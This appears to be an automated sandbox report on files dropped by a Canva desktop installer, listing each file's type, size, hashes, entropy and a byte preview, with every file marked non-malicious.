Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	10717680
Entropy (8bit):	6.282426578921538
Encrypted:	false
SSDEEP:	196608:WgPBhORiuQwCliXUxbblHa93Whli6Z26wO+:W8wkDliXUxbblHa93Whli6ZUF
MD5:	74BDED81CE10A426DF54DA39CFA132FF
SHA1:	EB26BCC7D24BE42BD8CFBDED53BD62D605989BBF
SHA-256:	7BF96C193BEFBF23514401F8F6568076450ADE52DD1595B85E4DFCF3DE5F6FB9
SHA-512:	BD7B7B52D31803B2D4B1FD8CB76481931ED8ABB98D779B893D3965231177BDD33386461E1A820B384712013904DA094E3CD15EE24A679DDC766132677A8BE54A
Malicious:	false
Preview:	...'........CmnD........ Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html ......E.......E.......E..P/...E.../...E..P7...E...7...E...h...F...h.. F..Pi..0F......DF.....WF.....jF..P...}F.......F..`....F.......F.. ....F.......F..0....F.......G......G......(G.....;G..@...NG......aG.....tG.......G.......G..@....G.......G.......G.......G..P....G.......H.......H..P...2H......EH..`...UH......hH......yH..P....H.......H.......H..`....H.......H.......H..P....I.......I......-I..@...=I......PI......aI..@...uI.......I...0...I.. 1...I..p1...I...e...I...e...I...i...I..`i...J...i..)J...K..BJ..p...^J..."'.uJ..P.'..J....'..J...5'..J..06'..J...>'..J..P?'..K...D'..K...F'.0K...H'.IK...V'.hK....(..K....(..K..P.)..K....)..K..pW..K..P...L...*+.?L..p.+.bL....+..L...U,..L....,..L....,..L....,..L..@.,..M....,.-M..P.-.IM.. e-.`M...e-.~M...R/..M.../..M..0.0..M..@.0..M..P.0..M....0..N....0.!N...,0.9N...,0.NN..0-0.fN...-0.vN...Y0..N...Z0..N..

C:\Program Files (x86)\Canva\is-DRID4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	JSON data
Category:	dropped
Size (bytes):	106
Entropy (8bit):	4.724752649036734
Encrypted:	false
SSDEEP:	3:YD96WyV18tzsmyXLVi1rTVWSCwW2TJHzeZ18rY:Y8WyV18tAZLVmCwXFiZ18rY
MD5:	8642DD3A87E2DE6E991FAE08458E302B
SHA1:	9C06735C31CEC00600FD763A92F8112D085BD12A
SHA-256:	32D83FF113FEF532A9F97E0D2831F8656628AB1C99E9060F0332B1532839AFD9
SHA-512:	F5D37D1B45B006161E4CEFEEBBA1E33AF879A3A51D16EE3FF8C3968C0C36BBAFAE379BF9124C13310B77774C9CBB4FA53114E83F5B48B5314132736E5BB4496F
Malicious:	false
Preview:	{"file_format_version": "1.0.0", "ICD": {"library_path": ".\\vk_swiftshader.dll", "api_version": "1.0.5"}}

C:\Program Files (x86)\Canva\is-EHJBJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5312000
Entropy (8bit):	6.364537003040197
Encrypted:	false
SSDEEP:	49152:YL1wrvfRIQkXfBe1IlA8gE+LGHEYXb3GNfsUd9QjqZztkJCP1pSN6WxHEmp+DnnV:81w7weOqiFIYBgTE
MD5:	8FE00EBE76542263463877F27417EC61
SHA1:	763502E57A3C4FBE5FC25EE7E9C942D94505D244
SHA-256:	46AFB1ED7AB1B1A679E00784B2E78CC2358CEC615553699624FF77882F55787B
SHA-512:	62B375B40EEDF04D03D8465570634B56D529E9525BD6D81BE94B40C7DA21CCCAA808BE97649F9404DED9EDD5CE129F9FB1D462C6A1986A25FA8A228857CDA5A2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......f.........." .....n@...........:.......................................R...........`A.........................................sL.......L.P.....Q......0P..^............R.t~...0L.....................x/L.(...@.@.@........... .L.P............................text....m@......n@................. ..`.rdata........@......r@.............@..@.data........pM......ZM.............@....pdata...^...0P..`....N.............@..@.gxfg....-....Q......TP.............@..@.retplne......Q.......P..................tls....Y.....Q.......P.............@..._RDATA..\.....Q.......P.............@..@.rsrc.........Q.......P.............@..@.reloc..t~....R.......P.............@..B........................................................................................................................................................................................................................

C:\Program Files (x86)\Canva\is-FBONS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	1096
Entropy (8bit):	5.13006727705212
Encrypted:	false
SSDEEP:	24:36DiJHxRHuyPP3GtIHw1Gg9QH+sUW8Ok4F+d1o36qjFD:36DiJzfPvGt7ICQH+sfIte36AFD
MD5:	4D42118D35941E0F664DDDBD83F633C5
SHA1:	2B21EC5F20FE961D15F2B58EFB1368E66D202E5C
SHA-256:	5154E165BD6C2CC0CFBCD8916498C7ABAB0497923BAFCD5CB07673FE8480087D
SHA-512:	3FFBBA2E4CD689F362378F6B0F6060571F57E228D3755BDD308283BE6CBBEF8C2E84BEB5FCF73E0C3C81CD944D01EE3FCF141733C4D8B3B0162E543E0B9F3E63
Malicious:	false
Preview:	Copyright (c) Electron contributors.Copyright (c) 2013-2020 GitHub Inc...Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the."Software"), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND.NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE.LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION.OF CONTRACT, TORT OR OTHERWISE, ARISIN

C:\Program Files (x86)\Canva\is-LHAQ3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	235060
Entropy (8bit):	7.947114238566176
Encrypted:	false
SSDEEP:	6144:gDQYaSN6svydrI8jDQUgx5GMRejnbdZnVE6YoppO4:NfSN6svydZ6edhVELoXO4
MD5:	E02160C24B8077B36FF06DC05A9DF057
SHA1:	FC722E071CE9CAF52AD9A463C90FC2319AA6C790
SHA-256:	4D5B51F720F7D3146E131C54A6F75E4E826C61B2FF15C8955F6D6DD15BEDF106
SHA-512:	1BF873B89B571974537B685CDB739F8ED148F710F6F24F0F362F8B6BB605996FCFEC1501411F2CB2DF374D5FDAF6E2DAAADA8CEA68051E3C10A67030EA25929E
Malicious:	false
Preview:	..........?.........J..........................................%..........-....\5.....9.....A.....E....IZ.....o....(t.....~.........s...........e...........L.....p.....y...(.3...).....+.....-..........5.....6.1...8.....9.=...:.....;.....<.t...=.$...>.....?.....@.....A.....B.....C.(...D..%..F..)..e.?1..j..6..k./9..l..<..m..J..n.WN..o.\|Z..p..f..q..k..r..l.....m.....q.....t.....w.....z....'~....D........................J..............#.............a....&...................V............c........".....'....n-....P4.....6.....:.....>....6H....bK.....S.....W....ba.....k.....o.....q....cz......................................5...........p.....G..................................%....."... .@...".Y...#.....(.K....\|...+.r...,.R...D.5...E.c...F.}...G.....H.\...I.....J.b...K.....L.f...M.....N.w...O.9 ..P.'%..Q..-..R..4..S..;..T..A..U..F..W..L..X..M..Y..N..Z..P..[.)Q..\.JR..].>S..^..U.._..V..`.pX..c.4e..D..u..E..u..F..u..G.Kv..H..v..I.,x..J..y..K.[y..L..y..M..z..N.mz

C:\Program Files (x86)\Canva\is-N7DP5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	176670344
Entropy (8bit):	6.752951259704491
Encrypted:	false
SSDEEP:	1572864:XgRMg/aKxl4b7qCDQtjovZT78wLF2pArKgDz6ObiISXD+Dyj3eRalD2kGpTe/2Hh:ng/geeFXzGa9cz
MD5:	762DF055F5A0FCDE30E96F0D6B84D6F0
SHA1:	9F669E5FCA1AE9C2EFD505FCD80D1948B2BB79F8
SHA-256:	8C2D451098E847FA5498E3BFFC8DDF93CDBC150355A7B6568E0984568EED4FAA
SHA-512:	68107C096A6E18C0DEB68CCDB2513F47038CC618313F4E9A858DC8367D372B3EAA81973AE00385DD1E5DC542EACEC4FE695847C47E85C571E9D8AEE06E8E646D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......f.........."......4.....................@.............................`.......{....`.........................................G....j..4...T....0..<W...pe...F..n...X......................................(...@o..@.......................`....................text...U2.......4.................. ..`.rdata.......P.......8..............@..@.data.....D..p ......P .............@....pdata....F..pe...F...).............@..@.gxfg....A...P...B....p.............@..@.retplne............. q..................rodata.............."q............. ..`.tls....i...........4q.............@...CPADinfo8...........:q.............@...LZMADEC.............<q............. ..`_RDATA..\............Nq.............@..@malloc_h..... .......Pq............. ..`.rsrc...<W...0...X...Rq.............@..@.reloc................x.............@..B........................................................

C:\Program Files (x86)\Canva\is-ON0A3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	954368
Entropy (8bit):	6.588968362833733
Encrypted:	false
SSDEEP:	24576:CkMYSDIukxvnwhdzY96Z5WiDYsH56g3P0zAk7lE1:Cku0fwhC96Z5WiDYsH56g3P0zAk7l
MD5:	D8F31216785E204DA9BAD10E9F3734B7
SHA1:	BE7F53566DBAEC5DBE61AFC76BF7401CFC42EF08
SHA-256:	FA6B4E20EB448746E2EFF9A7FDE7A62585E371F3497A6A928EADE0A8CE8C1A9F
SHA-512:	D7EF5EF7ED9B5559E107369849ADCD18FB9C9C3A90033731A46C4B5D3BA431582936E54E5B5918CE19A667B3F1EB369A93BC3F9A03DF8E5397E5F80DC21A61A1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......f.........." ......................................................... ............`A............................................<!...3..P............ ..Xq..............(...,...........................(...@...@............8...............................text...{........................... ..`.rdata..............................@..@.data...pL......."..................@....pdata..Xq... ...r..................@..@.gxfg...P).......*...N..............@..@.retplne.............x...................tls.................z..............@..._RDATA..\............\|..............@..@.rsrc................~..............@..@.reloc..(...........................@..B........................................................................................................................................................................................................................

C:\Program Files (x86)\Canva\is-PO2CC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4916712
Entropy (8bit):	6.398049523846958
Encrypted:	false
SSDEEP:	49152:KCZnRO4XyM53Rkq4ypQqdoRpmruVNYvkaRwvhiD0N+YEzI4og/RfzHLeHTRhFRNc:xG2QCwmHPnog/pzHAo/A6l
MD5:	2191E768CC2E19009DAD20DC999135A3
SHA1:	F49A46BA0E954E657AAED1C9019A53D194272B6A
SHA-256:	7353F25DC5CF84D09894E3E0461CEF0E56799ADBC617FCE37620CA67240B547D
SHA-512:	5ADCB00162F284C16EC78016D301FC11559DD0A781FFBEFF822DB22EFBED168B11D7E5586EA82388E9503B0C7D3740CF2A08E243877F5319202491C8A641C970
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........\|3..]...]...]..e\...]...\.5.]..e...]..wX...]..wY...]..e^...]..eX.y.]..eY...]..e]...]..eU./.]..e....]..e_...].Rich..].................PE..d...^.}`.........." ......8..........<).......................................K.....:FK...`A........................................`%G.x....(G.P.....J.@.....H.......J..%....J.....p.D.p....................S<.(...pR<.@............S<.(............................text.....8.......8................. ..`.rdata...F....8..P....8.............@..@.data...`....@G......@G.............@....pdata........H......@H.............@..@.rsrc...@.....J......@J.............@..@.reloc........J......PJ.............@..B........................................................................................................................................................................................................................................

C:\Program Files (x86)\Canva\is-SR6MP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3723837
Entropy (8bit):	6.593259965429601
Encrypted:	false
SSDEEP:	98304:oJYVM+LtVt3P/KuG2ONG9iqLRQV333K09:5VL/tnHGYiqln0
MD5:	11A5CDE3AE5BC1EF3F6F8E84FEC543F2
SHA1:	2BA4A3A6079E019752D079AA864F0E6C7E6443D5
SHA-256:	2752E7CDDBEECCC09976277F24D4CD9AA7B9D0F354F4F3E7B10103320CC679F3
SHA-512:	5CC53E4C6003129F37F969A4EEA7F8AA84CCF1BC5A69E25A5A648A4F6CA429246B073426F94EB963EBE991BD04BBEBAD95133A41CFFC1B8374E0C4B20667D966
Malicious:	false
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.......................................@..........................@9...........@......@...................P,.n.....,.j:...P0.......................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc........P0......./.............@..@.............04......`3.............@..@................

C:\Program Files (x86)\Canva\is-T7941.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	5281234
Entropy (8bit):	7.996903093990653
Encrypted:	true
SSDEEP:	98304:UCNks/PeeUfLi93zJ/HbKKSoDr+cgSrwrNl8dtSip6QaVaK2nwuoM10mpmjy+0V4:UAk03dB7KRcRkrNi/SQaVN2wuJ10Le+1
MD5:	54790975C932460FFA375CD0F0F8FFF0
SHA1:	05B72FF82ABB8DDAC1A92471F765B87B7FF1E9FD
SHA-256:	1EFDD507BB6F4FB07329EC7EC29EE00C952D6390BD5CFE3B41FB307C5CAEAB6C
SHA-512:	D74627207CAA35602E68AD6C08A0EBF55FE062E191A1885EB38226755D382DD3407DEA883E4337C5CFF23C1F724D64E5598EDF7A5CE93D4CC1EA6EA10C41AA0E
Malicious:	false
Preview:	........5...f.\...{..)..\|..,..~.F0.....B.....D.....P....H................V...........B.....k.....M.....c...........F.....$.........t@....u@;...v@....w@....x@c...y@l...~@.&...@.,...@.1...@.1...A.1...A.5...A_7...A.<...A.E...AsT...A/u...Avv...A.w...A.w...A.\|..<AL...=AR...>A....?A....@A....AA....BA....CA....DA\....A.....A.....A....RIb...wI....xI....yI....zI....{I.....No)...N.6...N.>...N!B...N.E...N.O...N.P...N.R...NOS...N.....Nn....O.{...O\~..T`....U`....V`....W`x...X`....Y`....Z`v...[`.....`.....`.....`.....`m)...`d,...`.1...`.2...`@4...`.5...`.8...`.=...`.G..0aUO..1a.X..2a.]..3a>d..4a3o..5a~\|..6a....7a....8ao...9a....:a....;aV...<a....=a....pb....qb&...rb......V.............................j............................w..................................................9...._........................+$...`'............b........x............................@....7.....>..x..D..y..D..z.YE..{.gF....kH.....I..../....B...@F....G...{H....I....K...2N...<Q....R

C:\Program Files (x86)\Canva\is-U9DO2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2866176
Entropy (8bit):	6.71639664914218
Encrypted:	false
SSDEEP:	49152:G9T1onpO0KVy2xq6To8i4BZy7+niuoen6yfzv9x0WFJDI:upKNMo8rBYinp/FFJM
MD5:	8F3D89744AE11B0925FAF4B64890D0D7
SHA1:	6A8F744BE1F76E9AD28287D969D8D24F5F1E7623
SHA-256:	11DAF2BF89A3AC660533B3E487E0624668B35F45D2BD94E9B0324BCE8758DE60
SHA-512:	250C06E70276C08D3D8A63744AF6C570B6288E1D8FED8DEED915C79BF0A80C3CD0A7E64C55A16FCBC50CCBCBC9910B26F87983CEEEA8ED28A75C1B8EC22DB53F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......f.........." ......".........0.........................................u...........`A..........................................).......).(.............t.4.............u.,4..<.)..................... .).(...P.".@...........(.).P............................text...U."......."................. ..`.rdata.......".......".............@..@.data.....I....."...~.............@....pdata..4.....t.......*.............@..@.gxfg....,...@u......R+.............@..@.retplne.....pu.......+..................tls..........u.......+.............@..._RDATA..\.....u.......+.............@..@.reloc..,4....u..6....+.............@..B................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Canva\is-UK1KN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	479232
Entropy (8bit):	6.363205504415342
Encrypted:	false
SSDEEP:	3072:0Jk+JyNnPUXhbZ/+a1KYsjNDsrJg3qkrzxwbP6wvEMrwrD7Qy/x6TYtaoB+YEB0+:qbTcZ6+lOP9rmD7QMYYtaFy951wj5ze
MD5:	F1FE23058E7EECE1DE389A0C882BC1AD
SHA1:	E83B15D2BBCB6FB2867651A2A9797ED3B6827947
SHA-256:	A4336A318E8D92A47843D5FE429DC6D1FF7271D8BAC189D719BC8074A128FD6E
SHA-512:	D7D51FCB05542FA81E871DD9F1DD960C363107D1C25311DCBF81E440D1275054C121A788DEF8DBAE47C129E95FD990042E2D39E6EF2BDFB253A114146EB33973
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......f.........." ....."...(............................................................`A.........................................4..h....B..(.......x.... ..pA..............H...,,.......................+..(...@A..@............E...............................text.... .......".................. ..`.rdata..,....@.......&..............@..@.data....K....... ..................@....pdata..pA... ...B..................@..@.gxfg... &...p...(..................@..@.retplne.............6...................tls....!............8..............@..._RDATA..\............:..............@..@.rsrc...x............<..............@..@.reloc..H............B..............@..B........................................................................................................................................................................................................................

C:\Program Files (x86)\Canva\is-UNVOH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	7692800
Entropy (8bit):	6.501902638931627
Encrypted:	false
SSDEEP:	98304:9x8EI0RtffaYFH3lV5D3u31okx/6bXm3q:LhXfTFHmoKgCq
MD5:	76141455CD2705897D38E9785117E405
SHA1:	EE091646B6273BF006CFCD84FD54384B0A9D0E0F
SHA-256:	7B0BAA9E2E731716EFE3E0BEBF6A0BCD2D64F35D9F62B20D23ACB4E098C9BE36
SHA-512:	551B79AAFFDC469448477AA72554458235F118559EECC567C232599A4193B2639C14EAFACAD533485089AF58701AEABEE690B43F36E41342F928D4973EFC02E1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......f.........." ......Y..t........J......................................`v...........`A........................................}.l.......m.d....pu.......r..U............u.,....al.....................p`l.(.....Z.@.............m.......l.@....................text.....Y.......Y................. ..`.rdata..\|.....Z.......Y.............@..@.data...\.....n......nn.............@....pdata...U....r..V....q.............@..@.gxfg....,....u......Tt.............@..@.retplne.....@u.......t..................tls....B....Pu.......t.............@..._RDATA..\....`u.......t.............@..@.rsrc........pu.......t.............@..@.reloc..,.....u.......t.............@..B........................................................................................................................................................................................................................

C:\Program Files (x86)\Canva\is-VHEA9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	154426
Entropy (8bit):	7.915623092881329
Encrypted:	false
SSDEEP:	3072:AzwJCGIekwENgMBsFAXg6VKdL2o418Gb0+VRLf0ld0GY3cQ3ERVm2I:Azw1IekmMBdQXK18Gb0OV8ld0GecQ3Ey
MD5:	B1BCCF31FA5710207026D373EDD96161
SHA1:	AE7BB0C083AEA838DF1D78D61B54FB76C9A1182E
SHA-256:	49AFF5690CB9B0F54F831351AA0F64416BA180A0C4891A859FA7294E81E9C8E3
SHA-512:	134A13AD86F8BD20A1D2350236269FD39C306389A600556A82025D5E0D5ADAAB0709D59E9B7EE96E8E2D25B6DF49FEFEA27CDCCEFE5FBA9687ABF92A9A941D91
Malicious:	false
Preview:	..........?.........C.......................m.......................^.....X.................q".....$....1/.....9.....<.....A....^D.....F.....H....FK....6M....fO.....S.....V..(..Z..)..[..+..\..-..^....._..5.k`..6..f..8..l..9..n..:..q..;..u..<..x..=..{..>.A...?.....@.h...A.....B.....C.....D.....F....e.....j.[...k.Y...l.....m.....n.....o....p.&...q.U...r....................................................R.........B........................@....."....,.../...1....:....<....@...>E...NP....Q...3Z....a....mf.....k.....r....it.....x.....\|....a......................]................c.................................................................^...........b...........t...........=.....k... .....".^...#.....(.^...*.3...+.....,.....D.....E.....F.~...G.....H.....I.Y...J.-...K.....L.....M.....N.1...O.....P.....Q.....R.....S.....T..!..U..'..W.\-..X.8...Y.....Z../..[..0..\.J1..]..1..^.53.._.+4..`. 5..c..9..D..=..E.>>..F..>..G..>..H..?..I..@..J..A..K..A..L..B..M.qB..N..B

C:\Program Files (x86)\Canva\libEGL.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	479232
Entropy (8bit):	6.363205504415342
Encrypted:	false
SSDEEP:	3072:0Jk+JyNnPUXhbZ/+a1KYsjNDsrJg3qkrzxwbP6wvEMrwrD7Qy/x6TYtaoB+YEB0+:qbTcZ6+lOP9rmD7QMYYtaFy951wj5ze
MD5:	F1FE23058E7EECE1DE389A0C882BC1AD
SHA1:	E83B15D2BBCB6FB2867651A2A9797ED3B6827947
SHA-256:	A4336A318E8D92A47843D5FE429DC6D1FF7271D8BAC189D719BC8074A128FD6E
SHA-512:	D7D51FCB05542FA81E871DD9F1DD960C363107D1C25311DCBF81E440D1275054C121A788DEF8DBAE47C129E95FD990042E2D39E6EF2BDFB253A114146EB33973
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......f.........." ....."...(............................................................`A.........................................4..h....B..(.......x.... ..pA..............H...,,.......................+..(...@A..@............E...............................text.... .......".................. ..`.rdata..,....@.......&..............@..@.data....K....... ..................@....pdata..pA... ...B..................@..@.gxfg... &...p...(..................@..@.retplne.............6...................tls....!............8..............@..._RDATA..\............:..............@..@.rsrc...x............<..............@..@.reloc..H............B..............@..B........................................................................................................................................................................................................................

C:\Program Files (x86)\Canva\libGLESv2.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	7692800
Entropy (8bit):	6.501902638931627
Encrypted:	false
SSDEEP:	98304:9x8EI0RtffaYFH3lV5D3u31okx/6bXm3q:LhXfTFHmoKgCq
MD5:	76141455CD2705897D38E9785117E405
SHA1:	EE091646B6273BF006CFCD84FD54384B0A9D0E0F
SHA-256:	7B0BAA9E2E731716EFE3E0BEBF6A0BCD2D64F35D9F62B20D23ACB4E098C9BE36
SHA-512:	551B79AAFFDC469448477AA72554458235F118559EECC567C232599A4193B2639C14EAFACAD533485089AF58701AEABEE690B43F36E41342F928D4973EFC02E1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......f.........." ......Y..t........J......................................`v...........`A........................................}.l.......m.d....pu.......r..U............u.,....al.....................p`l.(.....Z.@.............m.......l.@....................text.....Y.......Y................. ..`.rdata..\|.....Z.......Y.............@..@.data...\.....n......nn.............@....pdata...U....r..V....q.............@..@.gxfg....,....u......Tt.............@..@.retplne.....@u.......t..................tls....B....Pu.......t.............@..._RDATA..\....`u.......t.............@..@.rsrc........pu.......t.............@..@.reloc..,.....u.......t.............@..B........................................................................................................................................................................................................................

C:\Program Files (x86)\Canva\locales\af.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	489715
Entropy (8bit):	5.4071564375394185
Encrypted:	false
SSDEEP:	12288:3an0y+3zo5ExirXKhaG1B2+H2JynyaI4IVzZo0vgElgA2W0PSq+2ss30fzO75g6D:3a0y+3zouxkXyd1B2+H2JynyaI4IVzZW
MD5:	2602CD68EBE25F12F5D9892D5FA92B11
SHA1:	478766DCC8CE4427872BEBD81AD929F7AEF250A3
SHA-256:	E36A906908A92DAD39AD8E5B344B38C538574E35C5386AC2B901640B202D3228
SHA-512:	6BBECBEAA6E09857A5698A280475496498A88488249025B2F58CA7A8493A77BC13FCD783041A6198F58696F4E2A84C3DBEE0891E89800DAC6F3FB317F70C5492
Malicious:	false
Preview:	........T%..e.R...h.Z...i.b...j.n...k.}...l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.......%.....*.....2.....:.....B.....I.....P.....W.....X.....Y.....^.....k.....z.................!.......................U.......................g.................%................. .....9.............................j.......................^.......................m.......................y.......................u.........................................2.................c.....z.................,.....=.............................J.............................e.......................Y.......................5.....].....f.................%...................................z...........(.....?.............................z.......................X.......................P.......................s.......................F.......................F.......................l...........8.....L...........%.....d.................J.....~.................!.....E.....S.................,.

C:\Program Files (x86)\Canva\locales\am.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	794986
Entropy (8bit):	4.8798900601209185
Encrypted:	false
SSDEEP:	24576:/x1ATZg8/xp1GCj+VRRz085d9tcV03OzPkS:Z1J5Q
MD5:	AC7A72616A544CDB022EDA20B0DC8872
SHA1:	50B7F8363894A7E33042412804EFA2BDA510ABA2
SHA-256:	1847F8517D8F26C856ADBF08DF3996D5F3B7AB61378199C138346BFE29675F01
SHA-512:	D5B3B851A0D6615ECCC1223CFBA6B285AC8387E0C0F9DF1FB5BD95C9A208813B31F56546FC9C624E7F3A12B35AB7E8ACD13EA85025B5F9CF74DEF60AD679A546
Malicious:	false
Preview:	........h%..e.z...h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.!...z.0...\|.6...}.H.....P.....U.....].....e.....m.....t.....{.................................................................N.....n...../...........^...........a.....#.......................=.................N.................)...........".....l........... .................!.......................K...........d.............................p...........;...........,.....K.....&...........m.................q.................4.......................`.............................p.......................).................,.................!...........9.................&.................. ..... ....b!.....!....."....."....."..../#....V#.....#....N$.....$.....$....C%.....%.....%.....&.....&....O'.....'.....'....~(.....(.....)....<).....)....`...............+.....+....b,.....,....U-......................./....30.....0.....0.....1....L2.....2.....2....:3.....3.....3.....3.....4....5.....5

C:\Program Files (x86)\Canva\locales\ar.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	871955
Entropy (8bit):	4.902875426840413
Encrypted:	false
SSDEEP:	12288:4P9FlB5/G/d/RXCwR14fvPUKzUUk/K5MN0j+OzIh4pG:4LhQza5R+9
MD5:	4D0A0771176823BF004F9182B94BDE82
SHA1:	7E0601D8DCA0404736787D85918D1A680A7E68EC
SHA-256:	04E83274DEC0274DCCBD97DABCEFE3174EA1DA5B62B5D24E047E2036B93F3482
SHA-512:	6DD144273252026BCF08BE52189EA5A15410A42A616C9FAC14EDB4BE7D98023B65FA1746ED50B654E57F140790E8A92B1080F2F035ADB81B7D10AA473F2DCA61
Malicious:	false
Preview:	.........%8.e.....h.....i.....j.%...k.4...l.?...n.G...o.L...p.Y...q._...r.k...s.\|...t.....v.....w.....y.....z.....\|.....}.........................................................................K.............................;....._...................................m.......................b.................w...........Q.....h...........[.................D...........(.....m.....(...........:.....`.....?.......................S...........G.....u.................Q.....l.....s.....`...........?...........M.....w...........>...................................G.....g.................A....._...........^.................T...........>.....b...........g.................C ..... .....!....$!.....!....["....."....."....]#.....#.....$....5$.....$....0%....e%.....&.....&.....'....$'.....'....G(.....(.....(....L).....).....).....).....*.....+....T+....z+.....,....q,.....,.....,.....-..........t/...../....S0.....0....11....h1.....1....v2.....2.....2....33.....3.....3.....3.....4....75.....5.....5....K6

C:\Program Files (x86)\Canva\locales\bg.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	906398
Entropy (8bit):	4.655210398798349
Encrypted:	false
